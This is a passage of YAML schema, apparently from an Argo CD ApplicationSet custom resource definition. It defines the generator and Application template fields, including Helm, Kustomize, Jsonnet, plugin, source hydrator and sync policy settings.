                                    files:
                                      items:
                                        properties:
                                          exclude:
                                            type: boolean
                                          path:
                                            type: string
                                        required:
                                        - path
                                        type: object
                                      type: array
                                    pathParamPrefix:
                                      type: string
                                    repoURL:
                                      type: string
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    revision:
                                      type: string
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  required:
                                  - repoURL
                                  - revision
                                  type: object
                                list:
                                  properties:
                                    elements:
                                      items:
                                        x-kubernetes-preserve-unknown-fields: true
                                      type: array
                                    elementsYaml:
                                      type: string
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                  type: object
                                matrix:
                                  x-kubernetes-preserve-unknown-fields: true
                                merge:
                                  x-kubernetes-preserve-unknown-fields: true
                                plugin:
                                  properties:
                                    configMapRef:
                                      properties:
                                        name:
                                          type: string
                                      required:
                                      - name
                                      type: object
                                    input:
                                      properties:
                                        parameters:
                                          additionalProperties:
                                            x-kubernetes-preserve-unknown-fields: true
                                          type: object
                                      type: object
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
